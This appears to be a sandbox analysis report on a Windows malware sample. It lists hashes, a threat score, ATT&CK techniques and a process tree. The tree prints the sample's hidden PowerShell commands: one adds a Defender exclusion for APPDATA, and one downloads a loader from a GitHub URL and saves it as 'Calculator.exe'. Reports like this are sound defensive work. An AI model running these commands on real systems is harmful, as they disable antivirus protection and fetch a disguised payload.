21aa69b1128ae32071cdaa9fd796c723683e9a9241933161a58358783ad29509

Analysis

max time kernel
149s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 18:13

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General

Target
tmpjmzj9zyp.exe
Size 33.2MB
Sample260601-wtx2cacw6x
SHA256 21aa69b1128ae32071cdaa9fd796c723683e9a9241933161a58358783ad29509
MD5 44e3e6651a16a721835abc2447c2895b
SHA1 f1a0ba043787733564c98dd4a0de380d96a23c43
SHA512 7a874c2fdb613a78e9b3213838b30ae822631ec4e9f46a4d2b2b521e6b34f485cba82f1e469e99bcec8ee72fd2b045150564861bbe00d89111d1706065a368d2
SSDEEP 393216:S76L6otUitqtH7wHtXq2pt2jbOCacCFIK0fpP9HF4VW8yfJnVQx4urYsvNulL7Ni:S0LoCOn+2Js4urYkNulLBiue
TLSH
T10F776B0772E60195E8B7D2388AA75103D773B8634731CADF316D06152FBBAD0AA7B721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5156	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6040	powershell.exe
5156	powershell.exe
6040	powershell.exe
3492	powershell.exe
5156	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\test.txt	tmpjmzj9zyp.exe
File opened for modification	C:\Windows\System32\test.txt	tmpjmzj9zyp.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
1972	cmd.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
6040	powershell.exe
6040	powershell.exe
3492	powershell.exe
3492	powershell.exe
5156	powershell.exe
5156	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	6040	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	5156	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 1972	1760	tmpjmzj9zyp.exe	80
PID 1972 wrote to memory of 6040	1972	cmd.exe	82
PID 6040 wrote to memory of 3492	6040	powershell.exe	83
PID 1760 wrote to memory of 5732	1760	tmpjmzj9zyp.exe	85
PID 5732 wrote to memory of 5156	5732	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\tmpjmzj9zyp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpjmzj9zyp.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList 'Add-MpPreference -ExclusionPath $env:APPDATA' -Verb RunAs -WindowStyle Hidden""
  2⤵
  - Access Token Manipulation: Create Process with Token
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList 'Add-MpPreference -ExclusionPath $env:APPDATA' -Verb RunAs -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:APPDATA
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://github.com/Komanxa11/helloworld/releases/download/hello/LoaderV.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Calculator.exe'""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://github.com/Komanxa11/helloworld/releases/download/hello/LoaderV.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Calculator.exe'"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5156

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
MD5 d6b84d4be64de661c778642e3a7f6ff7
SHA1 714900a833208d39d6a4d0a96c671372dc5a12dd
SHA512 7fb33a924af54810bb8c69a0c4a126b1ba6ade4944f098ab8334c0a6c8fee91c7d8e25465c79deed6f6f7fe2000366831f801691dd950051a37c850722907c77
TLSH
T108115333B79CC235C8E915BA1088AE11B1B5C3C7049EDE8F7A84C109E67F99ADB645E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_kk45jp3a.t00.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kk45jp3a.t00.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3492-43-0x000002BBEBEF0000-0x000002BBEBEF8000-memory.dmp

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memory/3492-41-0x000002BBEBEE0000-0x000002BBEBEEA000-memory.dmp

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memory/3492-47-0x000002BBD2C30000-0x000002BBD36F2000-memory.dmp

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memory/3492-45-0x000002BBEBF30000-0x000002BBEBF3A000-memory.dmp

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memory/3492-44-0x000002BBEBF20000-0x000002BBEBF26000-memory.dmp

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memory/3492-37-0x000002BBEBDF0000-0x000002BBEBE0C000-memory.dmp

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memory/3492-38-0x000002BBEBE10000-0x000002BBEBEC3000-memory.dmp

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memory/3492-39-0x000002BBEBED0000-0x000002BBEBEDA000-memory.dmp

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memory/3492-40-0x000002BBEBF00000-0x000002BBEBF1C000-memory.dmp

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memory/3492-42-0x000002BBEBF40000-0x000002BBEBF5A000-memory.dmp

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memory/5156-48-0x000001D226330000-0x000001D226DF2000-memory.dmp

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memory/5156-50-0x000001D226330000-0x000001D226DF2000-memory.dmp

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memory/5156-53-0x000001D226330000-0x000001D226DF2000-memory.dmp

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memory/6040-12-0x000001D33DEC0000-0x000001D33E982000-memory.dmp

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memory/6040-2-0x000001D33E68A000-0x000001D33E68B000-memory.dmp

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memory/6040-10-0x000001D33DEC0000-0x000001D33E982000-memory.dmp

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memory/6040-11-0x000001D33DEC0000-0x000001D33E982000-memory.dmp

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memory/6040-16-0x000001D33DEC0000-0x000001D33E982000-memory.dmp

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memory/6040-3-0x000001D356CA0000-0x000001D356CC2000-memory.dmp

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